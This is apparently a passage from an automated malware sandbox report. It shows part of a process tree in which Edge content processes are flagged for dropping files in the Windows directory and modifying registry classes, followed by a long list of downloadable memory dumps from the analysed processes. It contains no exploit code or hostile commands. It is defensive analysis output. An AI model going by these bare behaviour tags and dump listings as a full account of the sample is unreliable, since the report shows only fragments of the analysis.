                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Drops file in Windows directory
                                                            PID:5004
                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                            1⤵
                                                            • Drops file in Windows directory
                                                            • Modifies registry class
                                                            PID:2008

                                                          Network

                                                          MITRE ATT&CK Enterprise v6

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • memory/372-384-0x000002225C170000-0x000002225C1E2000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/660-139-0x0000000064940000-0x0000000064959000-memory.dmp

                                                            Filesize

                                                            100KB

                                                            Download

                                                          • memory/660-143-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                            Filesize

                                                            152KB

                                                            Download

                                                          • memory/660-142-0x0000000064940000-0x0000000064959000-memory.dmp

                                                            Filesize

                                                            100KB

                                                            Download

                                                          • memory/660-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                            Filesize

                                                            1.5MB

                                                            Download

                                                          • memory/660-136-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                            Filesize

                                                            1.5MB

                                                            Download

                                                          • memory/660-141-0x0000000064940000-0x0000000064959000-memory.dmp

                                                            Filesize

                                                            100KB

                                                            Download

                                                          • memory/660-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                            Filesize

                                                            1.5MB

                                                            Download

                                                          • memory/660-132-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                            Filesize

                                                            572KB

                                                            Download

                                                          • memory/660-137-0x0000000064940000-0x0000000064959000-memory.dmp

                                                            Filesize

                                                            100KB

                                                            Download

                                                          • memory/660-133-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                            Filesize

                                                            572KB

                                                            Download

                                                          • memory/660-134-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                            Filesize

                                                            572KB

                                                            Download

                                                          • memory/660-135-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                            Filesize

                                                            1.5MB

                                                            Download

                                                          • memory/1032-385-0x0000024AA90D0000-0x0000024AA9142000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/1052-309-0x0000000005120000-0x0000000005121000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1052-298-0x0000000000E10000-0x0000000000E11000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1052-289-0x0000000000640000-0x0000000000641000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1124-380-0x00000213D45D0000-0x00000213D4642000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/1148-417-0x00000246CEA40000-0x00000246CEAB2000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/1348-391-0x000001AAEFE60000-0x000001AAEFED2000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/1356-228-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1356-216-0x0000000004940000-0x0000000004941000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1356-214-0x00000000049A0000-0x00000000049A1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1356-229-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1356-203-0x0000000000160000-0x0000000000161000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1372-421-0x000001F6A0970000-0x000001F6A09E2000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/1500-312-0x00000000779D0000-0x0000000077B5E000-memory.dmp

                                                            Filesize

                                                            1.6MB

                                                            Download

                                                          • memory/1500-336-0x0000000005400000-0x0000000005401000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1500-301-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1536-198-0x0000000000400000-0x0000000000414000-memory.dmp

                                                            Filesize

                                                            80KB

                                                            Download

                                                          • memory/1656-251-0x0000000002710000-0x0000000002711000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1656-244-0x00000000004F0000-0x00000000004F1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1656-295-0x000000000E0C0000-0x000000000E0C1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1656-286-0x000000000D9C0000-0x000000000D9C1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1656-272-0x0000000004F90000-0x0000000004F91000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1656-256-0x0000000002730000-0x0000000002731000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1656-254-0x0000000004F40000-0x0000000004F7E000-memory.dmp

                                                            Filesize

                                                            248KB

                                                            Download

                                                          • memory/1780-189-0x00000000003F0000-0x00000000003F1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1780-199-0x0000000000830000-0x0000000000831000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1780-207-0x000000001AF60000-0x000000001AF62000-memory.dmp

                                                            Filesize

                                                            8KB

                                                            Download

                                                          • memory/1784-287-0x0000000004F10000-0x0000000004F11000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1784-281-0x0000000005390000-0x0000000005391000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1784-268-0x0000000000400000-0x0000000000422000-memory.dmp

                                                            Filesize

                                                            136KB

                                                            Download

                                                          • memory/1784-318-0x0000000004D80000-0x0000000005386000-memory.dmp

                                                            Filesize

                                                            6.0MB

                                                            Download

                                                          • memory/1784-283-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1828-714-0x0000000004BA0000-0x0000000004BA1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1828-712-0x00000000001C0000-0x00000000001F0000-memory.dmp

                                                            Filesize

                                                            192KB

                                                            Download

                                                          • memory/1828-717-0x0000000004BA3000-0x0000000004BA4000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1828-713-0x0000000000400000-0x000000000045C000-memory.dmp

                                                            Filesize

                                                            368KB

                                                            Download

                                                          • memory/1828-716-0x0000000004BA2000-0x0000000004BA3000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/1828-718-0x0000000004BA4000-0x0000000004BA6000-memory.dmp

                                                            Filesize

                                                            8KB

                                                            Download

                                                          • memory/1896-223-0x0000000000400000-0x0000000002DBC000-memory.dmp

                                                            Filesize

                                                            41.7MB

                                                            Download

                                                          • memory/1896-208-0x00000000049C0000-0x0000000004A08000-memory.dmp

                                                            Filesize

                                                            288KB

                                                            Download

                                                          • memory/1904-414-0x0000016305EA0000-0x0000016305F12000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/2136-276-0x00000000779D0000-0x0000000077B5E000-memory.dmp

                                                            Filesize

                                                            1.6MB

                                                            Download

                                                          • memory/2136-314-0x0000000005DB0000-0x0000000005DB1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/2136-297-0x0000000005E20000-0x0000000005E21000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/2136-278-0x0000000000A30000-0x0000000000A31000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/2344-194-0x0000000000850000-0x0000000000851000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/2344-197-0x0000000000850000-0x0000000000851000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/2420-541-0x00000000054F0000-0x000000000559B000-memory.dmp

                                                            Filesize

                                                            684KB

                                                            Download

                                                          • memory/2424-394-0x0000020527E80000-0x0000020527EF2000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/2440-386-0x0000016F5E110000-0x0000016F5E182000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/2456-209-0x0000000004AC0000-0x0000000004B96000-memory.dmp

                                                            Filesize

                                                            856KB

                                                            Download

                                                          • memory/2456-173-0x0000000002FC8000-0x0000000003045000-memory.dmp

                                                            Filesize

                                                            500KB

                                                            Download

                                                          • memory/2456-224-0x0000000000400000-0x0000000002E08000-memory.dmp

                                                            Filesize

                                                            42.0MB

                                                            Download

                                                          • memory/2652-422-0x0000025768770000-0x00000257687E2000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/2664-419-0x0000013B2A310000-0x0000013B2A382000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/2752-257-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/2752-252-0x0000000002470000-0x000000000247C000-memory.dmp

                                                            Filesize

                                                            48KB

                                                            Download

                                                          • memory/2752-243-0x0000000000330000-0x0000000000331000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/2752-263-0x0000000002500000-0x0000000002501000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/2752-250-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/2852-379-0x00000206B9F00000-0x00000206B9F72000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/2852-747-0x00000206BA330000-0x00000206BA3A2000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/2880-219-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3036-729-0x0000000000A00000-0x0000000000A15000-memory.dmp

                                                            Filesize

                                                            84KB

                                                            Download

                                                          • memory/3036-307-0x00000000005A0000-0x00000000005B5000-memory.dmp

                                                            Filesize

                                                            84KB

                                                            Download

                                                          • memory/3376-213-0x0000000006572000-0x0000000006573000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-211-0x0000000006570000-0x0000000006571000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-241-0x0000000007580000-0x0000000007581000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-253-0x00000000075F0000-0x00000000075F1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-200-0x0000000000C00000-0x0000000000C01000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-282-0x0000000007D80000-0x0000000007D81000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-236-0x0000000007310000-0x0000000007311000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-277-0x00000000074A0000-0x00000000074A1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-201-0x0000000000C00000-0x0000000000C01000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-210-0x00000000065C0000-0x00000000065C1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-240-0x0000000007510000-0x0000000007511000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-420-0x000000007F9C0000-0x000000007F9C1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-212-0x0000000006C30000-0x0000000006C31000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3376-435-0x0000000006573000-0x0000000006574000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/3592-539-0x0000024D3B330000-0x0000024D3B34B000-memory.dmp

                                                            Filesize

                                                            108KB

                                                            Download

                                                          • memory/3592-382-0x0000024D39A70000-0x0000024D39AE2000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/3592-540-0x0000024D3C300000-0x0000024D3C406000-memory.dmp

                                                            Filesize

                                                            1.0MB

                                                            Download

                                                          • memory/3604-226-0x0000000002DA0000-0x0000000002E4E000-memory.dmp

                                                            Filesize

                                                            696KB

                                                            Download

                                                          • memory/3604-225-0x0000000000400000-0x0000000002D9C000-memory.dmp

                                                            Filesize

                                                            41.6MB

                                                            Download

                                                          • memory/3764-222-0x0000000000400000-0x0000000000414000-memory.dmp

                                                            Filesize

                                                            80KB

                                                            Download

                                                          • memory/4016-363-0x000002299C900000-0x000002299C94D000-memory.dmp

                                                            Filesize

                                                            308KB

                                                            Download

                                                          • memory/4016-364-0x000002299C9C0000-0x000002299CA32000-memory.dmp

                                                            Filesize

                                                            456KB

                                                            Download

                                                          • memory/4048-261-0x0000000002700000-0x0000000002701000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/4048-264-0x0000000002700000-0x0000000002701000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/4072-242-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/4368-443-0x0000000004EB0000-0x0000000004F8F000-memory.dmp

                                                            Filesize

                                                            892KB

                                                            Download

                                                          • memory/4368-446-0x0000000005040000-0x00000000050EB000-memory.dmp

                                                            Filesize

                                                            684KB

                                                            Download

                                                          • memory/4380-347-0x00000000028D0000-0x00000000028D1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/4676-388-0x0000000004FD3000-0x0000000004FD5000-memory.dmp

                                                            Filesize

                                                            8KB

                                                            Download

                                                          • memory/4676-358-0x0000000004FD0000-0x0000000004FD1000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/4676-433-0x0000000004FD5000-0x0000000004FD6000-memory.dmp

                                                            Filesize

                                                            4KB

                                                            Download

                                                          • memory/4712-728-0x0000000000400000-0x0000000002D9C000-memory.dmp

                                                            Filesize

                                                            41.6MB

                                                            Download

                                                          • memory/4712-727-0x0000000002FD0000-0x0000000002FD9000-memory.dmp

                                                            Filesize

                                                            36KB

                                                            Download

                                                          • memory/4972-360-0x0000000004EB0000-0x0000000004F0D000-memory.dmp

                                                            Filesize

                                                            372KB

                                                            Download

                                                          • memory/4972-359-0x0000000004D41000-0x0000000004E42000-memory.dmp

                                                            Filesize

                                                            1.0MB

                                                            Download